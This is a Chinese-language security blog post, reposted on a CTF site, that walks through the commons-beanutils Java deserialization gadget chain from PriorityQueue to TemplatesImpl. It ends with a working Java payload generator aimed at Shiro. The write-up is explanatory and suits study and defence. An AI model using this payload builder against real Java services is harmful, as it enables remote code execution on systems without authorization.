Java反序列化利用:commons-beanutils(cb链)简单分析

渗透技巧 10个月前 admin
91 0 0

前言

上篇文章了解了shiro反序列化漏洞是如何挖掘出来的,接下来看看如何利用各种链条来执行命令 本文分析commons-beanutils链条 简称cb链

java反序列化漏洞

先简单了解下java反序列化漏洞

在Java反序列化中,会调用被反序列化对象的readObject方法,当readObject方法被重写不当时产生漏洞

Java反序列化利用:commons-beanutils(cb链)简单分析

跟踪commons-beanutils链条

(只是跟踪分析链条怎么编写出的,并不是挖掘链条,条件是已知链条)

Java反序列化利用:commons-beanutils(cb链)简单分析

入口点(Source)

jdk中的PriorityQueue类重写了readObject 

/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/src.zip!/java/util/PriorityQueue.java

Java反序列化利用:commons-beanutils(cb链)简单分析

调用链(gadget)

继续跟踪 可以看到调用了同类下的heapify();方法

Java反序列化利用:commons-beanutils(cb链)简单分析

条件comparator != null 进入同类siftDownUsingComparator方法

Java反序列化利用:commons-beanutils(cb链)简单分析

此方法在实现下沉操作时调用了Comparator接口下compare方法

Java反序列化利用:commons-beanutils(cb链)简单分析

第一个转折点(从jdk跳转到cb依赖包)

可以看到今天的主角commons-beanutils实现了该接口

Java反序列化利用:commons-beanutils(cb链)简单分析

来看看compare接口是怎么实现的

当property != null时 会调用PropertyUtils#getProperty方法

Java反序列化利用:commons-beanutils(cb链)简单分析

第二个转折点(跳转到TemplatesImpl)

PropertyUtils#getProperty方法chatgpt解释:这个方法允许你通过给定的 JavaBean 对象和属性名,获取该属性的值。它使用了 Java 反射机制,通过调用 JavaBean 对象的 getter 方法来获取属性的值。

使用示例

import org.apache.commons.beanutils.PropertyUtils;
public class Example { public static void main(String[] args) { // 假设有一个名为 "person" 的 JavaBean 对象 Person person = new Person("John", 25);
try { // 获取属性 "name" 的值 String name = (String) PropertyUtils.getProperty(person, "name"); System.out.println("Name: " + name);
// 获取属性 "age" 的值 int age = (int) PropertyUtils.getProperty(person, "age"); System.out.println("Age: " + age); } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) { e.printStackTrace(); } }}

而在代码中我们看到:o1 o2 为该方法传入的参数 而property可以通过set方法赋值

Java反序列化利用:commons-beanutils(cb链)简单分析

所以我们通过这个方法能调用任意类中的getter方法

TemplatesImpl链条

TemplatesImpl链条在 Fastjson cc2 cc3 中都有涉及 可以直接加载恶意字节码进行执行命令

Java反序列化利用:commons-beanutils(cb链)简单分析

该类的 getter方法调用了newTransformer方法

Java反序列化利用:commons-beanutils(cb链)简单分析

跟进又调用了getTransletInstance()方法

Java反序列化利用:commons-beanutils(cb链)简单分析

调用了defineTransletClasses方法 条件是_name != null

Java反序列化利用:commons-beanutils(cb链)简单分析

这里通过反射机制创建一个 AbstractTranslet 类的实例 因此,我们要利用TemplatesImpl,需要继承AbstractTranslet才可实现加载过程完成AbstractTranslet实例化

Java反序列化利用:commons-beanutils(cb链)简单分析

执行点(sink)

我们可以传入恶意字节码在加载时进行执行命令

Java反序列化利用:commons-beanutils(cb链)简单分析

至于这里为什么能执行命令

我们都知道 .java文件在运行时会生成一个.class文件,是以字节码形式存储的,当这个class文件加载到JVM中,这个类被初始化时,就会执行类内的静态代码块。

这里和上面一样,当我们构造一个恶意类并生成字节码形式,在初始化时执行类内静态代码块中有我们的恶意代码 造成代码执行(再细就到java内核原理了有兴趣的师傅可以自己去了解)

 恶意类

Java反序列化利用:commons-beanutils(cb链)简单分析

转换为字节码形式

Java反序列化利用:commons-beanutils(cb链)简单分析

利用链payload

public class CommonsBeanutils1Shiro {      public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {          Field field = obj.getClass().getDeclaredField(fieldName);          field.setAccessible(true);          field.set(obj, value);      }  
public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); //恶意字节码 setFieldValue(obj, "_name", "xxxxxx"); //条件 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //条件
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add("1"); queue.add("1");
setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{obj, obj});
// ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
return barr.toByteArray(); } }


原文始发于微信公众号(艾克sec):Java反序列化利用:commons-beanutils(cb链)简单分析

版权声明:admin 发表于 2024年1月6日 上午9:44。
转载请注明:Java反序列化利用:commons-beanutils(cb链)简单分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...